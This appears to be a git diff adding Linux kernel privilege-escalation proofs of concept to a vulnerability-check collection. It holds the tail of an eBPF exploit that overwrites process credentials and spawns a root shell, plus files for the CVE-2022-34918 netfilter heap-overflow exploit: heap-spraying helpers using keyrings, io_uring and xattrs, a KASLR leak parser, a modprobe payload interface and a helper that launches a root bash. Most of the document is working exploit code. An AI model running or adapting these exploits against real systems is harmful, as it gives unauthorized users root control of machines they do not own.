if (arbitrary_write(ctx, ctx->cred + OFFSET_gid_from_cred, 0, BPF_W) != 0) {
|
||||
return -1;
|
||||
}
|
||||
if (arbitrary_write(ctx, ctx->cred + OFFSET_euid_from_cred, 0, BPF_W) != 0) {
|
||||
return -1;
|
||||
}
|
||||
if (arbitrary_write(ctx, ctx->cred + OFFSET_egid_from_cred, 0, BPF_W) != 0) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int spawn_root_shell(context_t *ctx)
|
||||
{
|
||||
for (int i = 0; i < PROC_NUM; i++)
|
||||
{
|
||||
kill(ctx->processes[i], SIGCONT);
|
||||
}
|
||||
while(wait(NULL) > 0);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int clean_up(context_t *ctx)
|
||||
{
|
||||
close(ctx->comm_fd);
|
||||
close(ctx->arbitrary_read_prog);
|
||||
close(ctx->arbitrary_write_prog);
|
||||
kill(0, SIGCONT);
|
||||
return 0;
|
||||
}
|
||||
|
||||
phase_t phases[] = {
|
||||
{ .name = "create bpf map(s)", .func = create_bpf_maps },
|
||||
{ .name = "do some leak", .func = do_leak },
|
||||
{ .name = "prepare arbitrary rw", .func = prepare_arbitrary_rw },
|
||||
{ .name = "spawn processes", .func = spawn_processes },
|
||||
{ .name = "find cred (slow)", .func = find_cred },
|
||||
{ .name = "overwrite cred", .func = overwrite_cred },
|
||||
{ .name = "spawn root shell", .func = spawn_root_shell },
|
||||
{ .name = "clean up the mess", .func = clean_up , .ignore_error = 1 },
|
||||
};
|
||||
|
||||
int main(int argc, char** argv)
|
||||
{
|
||||
context_t ctx = {};
|
||||
int err = 0;
|
||||
int max = sizeof(phases) / sizeof(phases[0]);
|
||||
if (getuid() == 0) {
|
||||
BADF("You are already root, exiting...");
|
||||
return -1;
|
||||
}
|
||||
for (int i = 1; i <= max; i++)
|
||||
{
|
||||
phase_t *phase = &phases[i-1];
|
||||
if (err != 0 && !phase->ignore_error) {
|
||||
ACTF("phase(%d/%d) '%s' skipped", i, max, phase->name);
|
||||
continue;
|
||||
}
|
||||
ACTF("phase(%d/%d) '%s' running", i, max, phase->name);
|
||||
int error = phase->func(&ctx);
|
||||
if (error != 0) {
|
||||
BADF("phase(%d/%d) '%s' return with error %d", i, max, phase->name, error);
|
||||
err = error;
|
||||
} else {
|
||||
OKF("phase(%d/%d) '%s' done", i, max, phase->name);
|
||||
}
|
||||
}
|
||||
return err;
|
||||
}
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,18 @@
|
|||
#ifndef _CONFIG_H_
|
||||
#define _CONFIG_H_
|
||||
|
||||
#define VERSION "1.00a"
|
||||
|
||||
#define MAP_NUM 0x40
|
||||
#define PROC_NUM 0x100
|
||||
#define PAGE_SIZE 0x1000
|
||||
#define __ID__ "SCSLSCSL"
|
||||
|
||||
#define OFFSET_uid_from_cred 0x04
|
||||
#define OFFSET_gid_from_cred 0x08
|
||||
#define OFFSET_euid_from_cred 0x14
|
||||
#define OFFSET_egid_from_cred 0x18
|
||||
|
||||
int verbose __attribute__((weak)) = 1;
|
||||
|
||||
#endif /* _CONFIG_H_ */
|
|
@ -0,0 +1,301 @@
|
|||
/*
|
||||
american fuzzy lop++ - debug / error handling macros
|
||||
----------------------------------------------------
|
||||
Originally written by Michal Zalewski
|
||||
Now maintained by Marc Heuse <mh@mh-sec.de>,
|
||||
Heiko Eißfeldt <heiko.eissfeldt@hexco.de>,
|
||||
Andrea Fioraldi <andreafioraldi@gmail.com>,
|
||||
Dominik Maier <mail@dmnk.co>
|
||||
Copyright 2016, 2017 Google Inc. All rights reserved.
|
||||
Copyright 2019-2020 AFLplusplus Project. All rights reserved.
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at:
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
*/
|
||||
|
||||
#ifndef _HAVE_DEBUG_H
|
||||
#define _HAVE_DEBUG_H
|
||||
|
||||
#include <errno.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "helper.h"
|
||||
#include "config.h"
|
||||
|
||||
/*******************
|
||||
* Terminal colors *
|
||||
*******************/
|
||||
|
||||
#ifndef MESSAGES_TO_STDOUT
|
||||
#define MESSAGES_TO_STDOUT
|
||||
#endif
|
||||
|
||||
#ifdef USE_COLOR
|
||||
|
||||
#define cBLK "\x1b[0;30m"
|
||||
#define cRED "\x1b[0;31m"
|
||||
#define cGRN "\x1b[0;32m"
|
||||
#define cBRN "\x1b[0;33m"
|
||||
#define cBLU "\x1b[0;34m"
|
||||
#define cMGN "\x1b[0;35m"
|
||||
#define cCYA "\x1b[0;36m"
|
||||
#define cLGR "\x1b[0;37m"
|
||||
#define cGRA "\x1b[1;90m"
|
||||
#define cLRD "\x1b[1;91m"
|
||||
#define cLGN "\x1b[1;92m"
|
||||
#define cYEL "\x1b[1;93m"
|
||||
#define cLBL "\x1b[1;94m"
|
||||
#define cPIN "\x1b[1;95m"
|
||||
#define cLCY "\x1b[1;96m"
|
||||
#define cBRI "\x1b[1;97m"
|
||||
#define cRST "\x1b[0m"
|
||||
|
||||
#define bgBLK "\x1b[40m"
|
||||
#define bgRED "\x1b[41m"
|
||||
#define bgGRN "\x1b[42m"
|
||||
#define bgBRN "\x1b[43m"
|
||||
#define bgBLU "\x1b[44m"
|
||||
#define bgMGN "\x1b[45m"
|
||||
#define bgCYA "\x1b[46m"
|
||||
#define bgLGR "\x1b[47m"
|
||||
#define bgGRA "\x1b[100m"
|
||||
#define bgLRD "\x1b[101m"
|
||||
#define bgLGN "\x1b[102m"
|
||||
#define bgYEL "\x1b[103m"
|
||||
#define bgLBL "\x1b[104m"
|
||||
#define bgPIN "\x1b[105m"
|
||||
#define bgLCY "\x1b[106m"
|
||||
#define bgBRI "\x1b[107m"
|
||||
|
||||
#else
|
||||
|
||||
#define cBLK ""
|
||||
#define cRED ""
|
||||
#define cGRN ""
|
||||
#define cBRN ""
|
||||
#define cBLU ""
|
||||
#define cMGN ""
|
||||
#define cCYA ""
|
||||
#define cLGR ""
|
||||
#define cGRA ""
|
||||
#define cLRD ""
|
||||
#define cLGN ""
|
||||
#define cYEL ""
|
||||
#define cLBL ""
|
||||
#define cPIN ""
|
||||
#define cLCY ""
|
||||
#define cBRI ""
|
||||
#define cRST ""
|
||||
|
||||
#define bgBLK ""
|
||||
#define bgRED ""
|
||||
#define bgGRN ""
|
||||
#define bgBRN ""
|
||||
#define bgBLU ""
|
||||
#define bgMGN ""
|
||||
#define bgCYA ""
|
||||
#define bgLGR ""
|
||||
#define bgGRA ""
|
||||
#define bgLRD ""
|
||||
#define bgLGN ""
|
||||
#define bgYEL ""
|
||||
#define bgLBL ""
|
||||
#define bgPIN ""
|
||||
#define bgLCY ""
|
||||
#define bgBRI ""
|
||||
|
||||
#endif /* ^USE_COLOR */
|
||||
|
||||
/*************************
|
||||
* Box drawing sequences *
|
||||
*************************/
|
||||
|
||||
#ifdef FANCY_BOXES
|
||||
|
||||
#define SET_G1 "\x1b)0" /* Set G1 for box drawing */
|
||||
#define RESET_G1 "\x1b)B" /* Reset G1 to ASCII */
|
||||
#define bSTART "\x0e" /* Enter G1 drawing mode */
|
||||
#define bSTOP "\x0f" /* Leave G1 drawing mode */
|
||||
#define bH "q" /* Horizontal line */
|
||||
#define bV "x" /* Vertical line */
|
||||
#define bLT "l" /* Left top corner */
|
||||
#define bRT "k" /* Right top corner */
|
||||
#define bLB "m" /* Left bottom corner */
|
||||
#define bRB "j" /* Right bottom corner */
|
||||
#define bX "n" /* Cross */
|
||||
#define bVR "t" /* Vertical, branch right */
|
||||
#define bVL "u" /* Vertical, branch left */
|
||||
#define bHT "v" /* Horizontal, branch top */
|
||||
#define bHB "w" /* Horizontal, branch bottom */
|
||||
|
||||
#else
|
||||
|
||||
#define SET_G1 ""
|
||||
#define RESET_G1 ""
|
||||
#define bSTART ""
|
||||
#define bSTOP ""
|
||||
#define bH "-"
|
||||
#define bV "|"
|
||||
#define bLT "+"
|
||||
#define bRT "+"
|
||||
#define bLB "+"
|
||||
#define bRB "+"
|
||||
#define bX "+"
|
||||
#define bVR "+"
|
||||
#define bVL "+"
|
||||
#define bHT "+"
|
||||
#define bHB "+"
|
||||
|
||||
#endif /* ^FANCY_BOXES */
|
||||
|
||||
/***********************
|
||||
* Misc terminal codes *
|
||||
***********************/
|
||||
|
||||
#define TERM_HOME "\x1b[H"
|
||||
#define TERM_CLEAR TERM_HOME "\x1b[2J"
|
||||
#define cEOL "\x1b[0K"
|
||||
#define CURSOR_HIDE "\x1b[?25l"
|
||||
#define CURSOR_SHOW "\x1b[?25h"
|
||||
|
||||
/************************
|
||||
* Debug & error macros *
|
||||
************************/
|
||||
|
||||
/* Just print stuff to the appropriate stream. */
|
||||
|
||||
#ifdef MESSAGES_TO_STDOUT
|
||||
#define SAYF(x...) printf(x)
|
||||
#else
|
||||
#define SAYF(x...) fprintf(stderr, x)
|
||||
#endif /* ^MESSAGES_TO_STDOUT */
|
||||
|
||||
/* Show a prefixed warning. */
|
||||
|
||||
#define WARNF(x...) \
|
||||
do { if (verbose) { \
|
||||
\
|
||||
SAYF(cYEL "[!] " cBRI "WARNING: " cRST x); \
|
||||
SAYF(cRST "\n"); \
|
||||
\
|
||||
} } while (0)
|
||||
|
||||
/* Show a prefixed "doing something" message. */
|
||||
|
||||
#define ACTF(x...) \
|
||||
do { if (verbose) { \
|
||||
\
|
||||
SAYF(cLBL "[*] " cRST x); \
|
||||
SAYF(cRST "\n"); \
|
||||
\
|
||||
} } while (0)
|
||||
|
||||
/* Show a prefixed "success" message. */
|
||||
|
||||
#define OKF(x...) \
|
||||
do { \
|
||||
\
|
||||
SAYF(cLGN "[+] " cRST x); \
|
||||
SAYF(cRST "\n"); \
|
||||
\
|
||||
} while (0)
|
||||
|
||||
/* Show a prefixed fatal error message (not used in afl). */
|
||||
|
||||
#define BADF(x...) \
|
||||
do { \
|
||||
\
|
||||
SAYF(cLRD "[-] " cRST x); \
|
||||
SAYF(cRST "\n"); \
|
||||
\
|
||||
} while (0)
|
||||
|
||||
/* Die with a verbose non-OS fatal error message. */
|
||||
|
||||
#define FATAL(x...) \
|
||||
do { \
|
||||
\
|
||||
SAYF(bSTOP RESET_G1 CURSOR_SHOW cRST cLRD \
|
||||
"\n[-] PROGRAM ABORT : " cRST x); \
|
||||
SAYF(cLRD "\n Location : " cRST "%s(), %s:%u\n\n", __func__, \
|
||||
__FILE__, __LINE__); \
|
||||
exit(1); \
|
||||
\
|
||||
} while (0)
|
||||
|
||||
/* Die by calling abort() to provide a core dump. */
|
||||
|
||||
#define ABORT(x...) \
|
||||
do { \
|
||||
\
|
||||
SAYF(bSTOP RESET_G1 CURSOR_SHOW cRST cLRD \
|
||||
"\n[-] PROGRAM ABORT : " cRST x); \
|
||||
SAYF(cLRD "\n Stop location : " cRST "%s(), %s:%u\n\n", __func__, \
|
||||
__FILE__, __LINE__); \
|
||||
abort(); \
|
||||
\
|
||||
} while (0)
|
||||
|
||||
/* Die while also including the output of perror(). */
|
||||
|
||||
#define PFATAL(x...) \
|
||||
do { \
|
||||
\
|
||||
fflush(stdout); \
|
||||
SAYF(bSTOP RESET_G1 CURSOR_SHOW cRST cLRD \
|
||||
"\n[-] SYSTEM ERROR : " cRST x); \
|
||||
SAYF(cLRD "\n Stop location : " cRST "%s(), %s:%u\n", __func__, \
|
||||
__FILE__, __LINE__); \
|
||||
SAYF(cLRD " OS message : " cRST "%s\n", strerror(errno)); \
|
||||
exit(1); \
|
||||
\
|
||||
} while (0)
|
||||
|
||||
/* Die with FATAL() or PFATAL() depending on the value of res (used to
|
||||
interpret different failure modes for read(), write(), etc). */
|
||||
|
||||
#define RPFATAL(res, x...) \
|
||||
do { \
|
||||
\
|
||||
if (res < 0) \
|
||||
PFATAL(x); \
|
||||
else \
|
||||
FATAL(x); \
|
||||
\
|
||||
} while (0)
|
||||
|
||||
/* Show a prefixed debug output. */
|
||||
|
||||
#define DEBUGF(x...) \
|
||||
do { if(verbose > 1) { \
|
||||
\
|
||||
SAYF(cMGN "[D] " cBRI "DEBUG: " cRST x); \
|
||||
SAYF(cRST "\n"); \
|
||||
\
|
||||
} } while (0)
|
||||
|
||||
/* Error-checking versions of read() and write() that call RPFATAL() as
|
||||
appropriate. */
|
||||
|
||||
#define ck_write(fd, buf, len, fn) \
|
||||
do { \
|
||||
\
|
||||
int _fd = (fd); \
|
||||
\
|
||||
s32 _len = (s32)(len); \
|
||||
s32 _res = write(_fd, (buf), _len); \
|
||||
if (_res != _len) RPFATAL(_res, "Short write to %s, fd %d", fn, _fd); \
|
||||
\
|
||||
} while (0)
|
||||
|
||||
#define ck_read(fd, buf, len, fn) \
|
||||
do { \
|
||||
\
|
||||
s32 _len = (s32)(len); \
|
||||
s32 _res = read(fd, buf, _len); \
|
||||
if (_res != _len) RPFATAL(_res, "Short read from %s", fn); \
|
||||
\
|
||||
} while (0)
|
||||
|
||||
#endif /* ! _HAVE_DEBUG_H */
|
|
@ -0,0 +1,90 @@
|
|||
#ifndef _HELPER_H_
|
||||
#define _HELPER_H_
|
||||
|
||||
#include <unistd.h>
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdbool.h>
|
||||
#include <string.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
typedef int8_t s8;
|
||||
typedef int16_t s16;
|
||||
typedef int32_t s32;
|
||||
typedef int64_t s64;
|
||||
|
||||
typedef uint8_t u8;
|
||||
typedef uint16_t u16;
|
||||
typedef uint32_t u32;
|
||||
typedef uint64_t u64;
|
||||
|
||||
typedef void* kaddr_t;
|
||||
|
||||
#define U8_MAX ((u8)~0U)
|
||||
#define S8_MAX ((s8)(U8_MAX >> 1))
|
||||
#define S8_MIN ((s8)(-S8_MAX - 1))
|
||||
#define U16_MAX ((u16)~0U)
|
||||
#define S16_MAX ((s16)(U16_MAX >> 1))
|
||||
#define S16_MIN ((s16)(-S16_MAX - 1))
|
||||
#define U32_MAX ((u32)~0U)
|
||||
#define S32_MAX ((s32)(U32_MAX >> 1))
|
||||
#define S32_MIN ((s32)(-S32_MAX - 1))
|
||||
#define U64_MAX ((u64)~0ULL)
|
||||
#define S64_MAX ((s64)(U64_MAX >> 1))
|
||||
#define S64_MIN ((s64)(-S64_MAX - 1))
|
||||
|
||||
int urandom()
|
||||
{
|
||||
int r;
|
||||
int rand_fd = open("/dev/urandom", O_RDONLY);
|
||||
if (rand_fd < 0) {
|
||||
return r;
|
||||
}
|
||||
read(rand_fd, &r, sizeof(r));
|
||||
close(rand_fd);
|
||||
return r;
|
||||
}
|
||||
|
||||
void *memmem(const void *haystack, size_t haystack_len,
|
||||
const void *needle, size_t needle_len)
|
||||
{
|
||||
const char *begin = haystack;
|
||||
const char *last_possible = begin + haystack_len - needle_len;
|
||||
const char *tail = needle;
|
||||
char point;
|
||||
|
||||
/*
|
||||
* The first occurrence of the empty string is deemed to occur at
|
||||
* the beginning of the string.
|
||||
*/
|
||||
if (needle_len == 0)
|
||||
return (void *)begin;
|
||||
|
||||
/*
|
||||
* Sanity check, otherwise the loop might search through the whole
|
||||
* memory.
|
||||
*/
|
||||
if (haystack_len < needle_len)
|
||||
return NULL;
|
||||
|
||||
point = *tail++;
|
||||
for (; begin <= last_possible; begin++) {
|
||||
if (*begin == point && !memcmp(begin + 1, tail, needle_len - 1))
|
||||
return (void *)begin;
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
int memoff(const void *haystack, size_t haystack_len,
|
||||
const void *needle, size_t needle_len)
|
||||
{
|
||||
void *found = memmem(haystack, haystack_len, needle, needle_len);
|
||||
if (found) {
|
||||
return (int)(found - haystack);
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
#endif /* _HELPER_H_ */
|
|
@ -0,0 +1,40 @@
|
|||
FormatVer: 20220705
|
||||
Id: CVE-2022-34918
|
||||
Belong: kernel
|
||||
PocHazardLevel: high
|
||||
Source: https://github.com/randorisec/CVE-2022-34918-LPE-PoC.git
|
||||
SiteInfo:
|
||||
Name: Linux kernel是美国Linux基金会的开源操作系统Linux所使用的内核。netfilter是一款使用在Linux系统中的数据包过滤框架。
|
||||
Severity: high
|
||||
Description:
|
||||
Linux kernel 5.18.9版本及之前版本存在安全漏洞,该漏洞源于。本地攻击者利用该漏洞使用 nft_set_elem_init 中的类型混淆错误(导致缓冲区溢出)来提升权限。
|
||||
ScopeOfInfluence:
|
||||
Linux kernel <= 5.18.9.
|
||||
References:
|
||||
- https://nvd.nist.gov/vuln/detail/CVE-2022-34918
|
||||
- http://packetstormsecurity.com/files/168543/Netfilter-nft_set_elem_init-Heap-Overflow-Privilege-Escalation.html
|
||||
- https://randorisec.fr/crack-linux-firewall/
|
||||
- https://github.com/veritas501/CVE-2022-34918
|
||||
SiteClassification:
|
||||
CvssMetrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
|
||||
CvssScore: 7.8
|
||||
CveId: CVE-2022-34918
|
||||
CweId: CWE-843
|
||||
CnvdId: None
|
||||
KveId: None
|
||||
Tags:
|
||||
- 权限提升,ubuntu
|
||||
SiteRequests:
|
||||
Implement:
|
||||
ImArray:
|
||||
- inter:
|
||||
InterArgs :
|
||||
Exec : poc
|
||||
Args :
|
||||
ExpireTime: 30
|
||||
Inter:
|
||||
- ">.:[+] I am root\n>>"
|
||||
- "<<:id\n"
|
||||
- ">.:\n"
|
||||
- ">?:uid=0(root) gid=0(root) groups=0(root)"
|
||||
Condition: None
|
|
@ -0,0 +1,30 @@
|
|||
.PHONY: all clean
|
||||
|
||||
TARGET=poc
|
||||
|
||||
SOURCES = $(wildcard src/*.c)
|
||||
HEADERS = $(wildcard inc/*.h)
|
||||
OBJECTS = $(patsubst src/%.c,obj/%.o,$(SOURCES))
|
||||
|
||||
CFLAGS= -I./inc
|
||||
LDFLAGS= -pthread -static
|
||||
|
||||
all: obj $(TARGET) get_root
|
||||
|
||||
$(TARGET): $(OBJECTS)
|
||||
$(CC) $(LDFLAGS) -o $@ $^
|
||||
strip $@
|
||||
|
||||
obj/%.o: src/%.c
|
||||
$(CC) -c $< -o $@ $(CFLAGS)
|
||||
|
||||
obj:
|
||||
mkdir obj
|
||||
|
||||
get_root: get_root_src/get_root.c
|
||||
$(CC) -o $@ $^
|
||||
|
||||
clean:
|
||||
rm -rf obj
|
||||
rm -f $(TARGET)
|
||||
rm -f get_root
|
Binary file not shown.
|
@ -0,0 +1,14 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
|
||||
if (geteuid() == 0) {
|
||||
setuid(0);
|
||||
setgid(0);
|
||||
puts("[+] I am root");
|
||||
system("bash");
|
||||
}
|
||||
|
||||
}
|
|
@ -0,0 +1,46 @@
|
|||
#ifndef _KEYRING_H_
|
||||
#define _KEYRING_H_
|
||||
|
||||
#include <stdint.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/syscall.h>
|
||||
|
||||
#define IO_RING_CTX_REF_FREE_OFFSET 0x3dfa00
|
||||
|
||||
#define IO_RSRC_NODE_REF_ZERO_OFFSET 0x3e04f0
|
||||
|
||||
#define KEY_DESC_MAX_SIZE 40
|
||||
|
||||
#define PREFIX_BUF_LEN 16
|
||||
#define RCU_HEAD_LEN 16
|
||||
|
||||
#define SPRAY_KEY_SIZE 50
|
||||
|
||||
#define PHYSMAP_MASK 0xffffffff00000000
|
||||
|
||||
struct keyring_payload {
|
||||
uint8_t prefix[PREFIX_BUF_LEN];
|
||||
uint8_t rcu_buf[RCU_HEAD_LEN];
|
||||
unsigned short len;
|
||||
};
|
||||
|
||||
struct leak {
|
||||
long kaslr_base;
|
||||
long physmap_base;
|
||||
};
|
||||
|
||||
typedef int32_t key_serial_t;
|
||||
|
||||
static inline key_serial_t add_key(const char *type, const char *description, const void *payload, size_t plen, key_serial_t ringid) {
|
||||
return syscall(__NR_add_key, type, description, payload, plen, ringid);
|
||||
}
|
||||
|
||||
static inline long keyctl(int operation, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5) {
|
||||
return syscall(__NR_keyctl, operation, arg2, arg3, arg4, arg5);
|
||||
}
|
||||
|
||||
key_serial_t *spray_keyring(uint32_t spray_size);
|
||||
struct leak *get_keyring_leak(key_serial_t *id_buffer, uint32_t id_buffer_size);
|
||||
void release_keys(key_serial_t *id_buffer, uint32_t id_buffer_size);
|
||||
|
||||
#endif /* _KEYRING_H_ */
|
|
@ -0,0 +1,8 @@
|
|||
#ifndef _LOG_H_
|
||||
#define _LOG_H_
|
||||
|
||||
#include <stdlib.h>
|
||||
|
||||
#define do_error_exit(msg) do {perror("[-] " msg); exit(EXIT_FAILURE); } while(0)
|
||||
|
||||
#endif /* _LOG_H_ */
|
|
@ -0,0 +1,8 @@
|
|||
#ifndef _MODPROBE_H_
|
||||
#define _MODPROBE_H_
|
||||
|
||||
void setup_modprobe_payload(void);
|
||||
void get_root_shell(void);
|
||||
void prepare_root_shell(void);
|
||||
|
||||
#endif /* _MODPROBE_H_ */
|
|
@ -0,0 +1,28 @@
|
|||
#ifndef _NETLINK_H_
|
||||
#define _NETLINK_H_
|
||||
|
||||
#include <stdint.h>
|
||||
#include <linux/netlink.h>
|
||||
|
||||
/* Netlink messages */
|
||||
|
||||
#define NETLINK_RECEIVE_BUFFER_SIZE 4096
|
||||
|
||||
struct nlmsghdr *get_batch_begin_nlmsg(void);
|
||||
struct nlmsghdr *get_batch_end_nlmsg(void);
|
||||
|
||||
/* Netlink attributes */
|
||||
|
||||
#define U32_NLA_SIZE (sizeof(struct nlattr) + sizeof(uint32_t))
|
||||
#define U64_NLA_SIZE (sizeof(struct nlattr) + sizeof(uint64_t))
|
||||
#define S8_NLA_SIZE (sizeof(struct nlattr) + 8)
|
||||
#define NLA_BIN_SIZE(x) (sizeof(struct nlattr) + x)
|
||||
#define NLA_ATTR(attr) ((void *)attr + NLA_HDRLEN)
|
||||
|
||||
struct nlattr *set_nested_attr(struct nlattr *attr, uint16_t type, uint16_t data_len);
|
||||
struct nlattr *set_u32_attr(struct nlattr *attr, uint16_t type, uint32_t value);
|
||||
struct nlattr *set_u64_attr(struct nlattr *attr, uint16_t type, uint64_t value);
|
||||
struct nlattr *set_str8_attr(struct nlattr *attr, uint16_t type, const char name[8]);
|
||||
struct nlattr *set_binary_attr(struct nlattr *attr, uint16_t type, uint8_t *buffer, uint64_t buffer_size);
|
||||
|
||||
#endif /* _NETLINK_H_ */
|
|
@ -0,0 +1,14 @@
|
|||
#ifndef _NF_TABLES_H_
|
||||
#define _NF_TABLES_H_
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
#define TABLEMSG_SIZE NLMSG_SPACE(sizeof(struct nfgenmsg) + S8_NLA_SIZE)
|
||||
|
||||
#define KMALLOC64_KEYLEN (64 - 8 - 12 - 16) // Max size - elemsize - sizeof(nft_set_ext)(align) - min datasize
|
||||
|
||||
void create_table(int sock, const char *name);
|
||||
void create_set(int sock, const char *set_name, uint32_t set_keylen, uint32_t data_len, const char *table_name, uint32_t id);
|
||||
void add_elem_to_set(int sock, const char *set_name, uint32_t set_keylen, const char *table_name, uint32_t id, uint32_t data_len, uint8_t *data);
|
||||
|
||||
#endif /* _NF_TABLES_H_ */
|
|
@ -0,0 +1,26 @@
|
|||
#ifndef _SIMPLE_XATTR_H_
|
||||
#define _SIMPLE_XATTR_H_
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
#define XATTR_FILE "/tmp/tmpfs/a"
|
||||
#define XATTR_VALUE "value"
|
||||
|
||||
#define XATTR_DELETION_NAME "security.Iwanttoberoot"
|
||||
|
||||
#define ATTRIBUTE_NAME_LEN 0x100
|
||||
#define COMMAND_MAX_LEN 0x100
|
||||
|
||||
#define PREFIX_BUFFER_LEN 16
|
||||
|
||||
struct write4_payload {
|
||||
uint8_t prefix[PREFIX_BUFFER_LEN];
|
||||
void *next;
|
||||
void *prev;
|
||||
uint8_t name_offset;
|
||||
} __attribute__((packed));
|
||||
|
||||
void spray_simple_xattr(char *filename, uint32_t spray_size);
|
||||
void create_xattr(const char *filename, char *attribute_name);
|
||||
|
||||
#endif /* _SIMPLE_XATTR_H_ */
|
|
@ -0,0 +1,27 @@
|
|||
#ifndef _URING_H_
|
||||
#define _URING_H_
|
||||
|
||||
#include <stdint.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <linux/io_uring.h>
|
||||
|
||||
#define SPRAY_NB_ENTRIES 10
|
||||
|
||||
struct fd_uring {
|
||||
int fd;
|
||||
struct io_uring_params *params;
|
||||
};
|
||||
|
||||
static inline int io_uring_setup(uint32_t entries, struct io_uring_params *p) {
|
||||
return syscall(__NR_io_uring_setup, entries, p);
|
||||
}
|
||||
|
||||
static inline int io_uring_register(int fd, unsigned int opcode, void *arg, unsigned int nr_args) {
|
||||
return syscall(__NR_io_uring_register, fd, opcode, arg, nr_args);
|
||||
}
|
||||
|
||||
void spray_uring(uint32_t spray_size, struct fd_uring *fd_buffer);
|
||||
void release_uring(struct fd_uring *fd_buffer, uint32_t buffer_size);
|
||||
|
||||
#endif /* _URING_H_ */
|
|
@ -0,0 +1,12 @@
|
|||
#ifndef _UTIL_H_
|
||||
#define _UTIL_H_
|
||||
|
||||
#include <unistd.h>
|
||||
|
||||
#define FILENAME_MAX_LEN 0x80
|
||||
|
||||
void new_ns(void);
|
||||
void set_cpu_affinity(int cpu_n, pid_t pid);
|
||||
char *generate_tmp_filename(void);
|
||||
|
||||
#endif /* _UTIL_H_ */
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,113 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <limits.h>
|
||||
#include <linux/keyctl.h>
|
||||
|
||||
#include "log.h"
|
||||
#include "keyring.h"
|
||||
#include "util.h"
|
||||
|
||||
/**
|
||||
* spray_keyring(): Spray the heap with `user_key_payload` structure
|
||||
* @spray_size: Number of object to put into the `kmalloc-64` cache
|
||||
*
|
||||
* Return: Allocated buffer with serial numbers of the created keys
|
||||
*/
|
||||
key_serial_t *spray_keyring(uint32_t spray_size) {
|
||||
|
||||
char key_desc[KEY_DESC_MAX_SIZE];
|
||||
key_serial_t *id_buffer = calloc(spray_size, sizeof(key_serial_t));
|
||||
|
||||
if (id_buffer == NULL)
|
||||
do_error_exit("calloc");
|
||||
|
||||
for (uint32_t i = 0; i < spray_size; i++) {
|
||||
snprintf(key_desc, KEY_DESC_MAX_SIZE, "RandoriSec-%03du", i);
|
||||
id_buffer[i] = add_key("user", key_desc, key_desc, strlen(key_desc), KEY_SPEC_PROCESS_KEYRING);
|
||||
if (id_buffer[i] < 0)
|
||||
do_error_exit("add_key");
|
||||
}
|
||||
|
||||
return id_buffer;
|
||||
}
|
||||
|
||||
/**
|
||||
* parse_leak(): Parse the infoleak to compute the kaslr base and the physmap base
|
||||
* @buffer: Buffer that contains the infoleak
|
||||
* @buffer_size: Size of the previous buffer
|
||||
*
|
||||
* Search for a pointer to the function `io_ring_ctx_ref_free` that is stored within a `percpu_ref_data` structure
|
||||
* Then compute the KASLR base
|
||||
* Finally use the pointer to the associated `percpu_ref` to compute the physmap base
|
||||
*
|
||||
* Return: KASLR base and physmap base of the running kernel
|
||||
*/
|
||||
struct leak *parse_leak(long *buffer, uint32_t buffer_size) {
|
||||
|
||||
struct leak *ret = malloc(sizeof(struct leak));
|
||||
if (!ret)
|
||||
do_error_exit("malloc");
|
||||
|
||||
for (uint32_t i = 0; i < buffer_size; i++) {
|
||||
|
||||
/* Search for reference to the function io_ring_ctx_ref_free */
|
||||
if ((buffer[i] & 0xfffff) == (IO_RING_CTX_REF_FREE_OFFSET & 0xfffff)) {
|
||||
ret->kaslr_base = buffer[i] - IO_RING_CTX_REF_FREE_OFFSET;
|
||||
ret->physmap_base = buffer[i + 5] & PHYSMAP_MASK;
|
||||
return ret;
|
||||
|
||||
/* Search for reference to the function io_rsrc_node_ref_zero */
|
||||
} else if ((buffer[i] & 0xfffff) == (IO_RSRC_NODE_REF_ZERO_OFFSET & 0xfffff)) {
|
||||
ret->kaslr_base = buffer[i] - IO_RSRC_NODE_REF_ZERO_OFFSET;
|
||||
ret->physmap_base = buffer[i + 5] & PHYSMAP_MASK;
|
||||
return ret;
|
||||
}
|
||||
}
|
||||
|
||||
free(ret);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/**
|
||||
* get_keyring_leak(): Find the infoleak and compute the needed bases
|
||||
* @id_buffer: Buffer with the serial numbers of keys used to spray the heap
|
||||
* @id_buffer_size: Size of the previous buffer
|
||||
*
|
||||
* Search for a key with an unexpected size to find the corrupted object.
|
||||
*
|
||||
* Return: KASLR base and physmap base of the running kernel
|
||||
*/
|
||||
struct leak *get_keyring_leak(key_serial_t *id_buffer, uint32_t id_buffer_size) {
|
||||
|
||||
uint8_t buffer[USHRT_MAX] = {0};
|
||||
int32_t keylen;
|
||||
|
||||
for (uint32_t i = 0; i < id_buffer_size; i++) {
|
||||
|
||||
keylen = keyctl(KEYCTL_READ, id_buffer[i], (long)buffer, USHRT_MAX, 0);
|
||||
if (keylen < 0)
|
||||
do_error_exit("keyctl");
|
||||
|
||||
if (keylen == USHRT_MAX) {
|
||||
return parse_leak((long *)buffer, keylen >> 3);
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
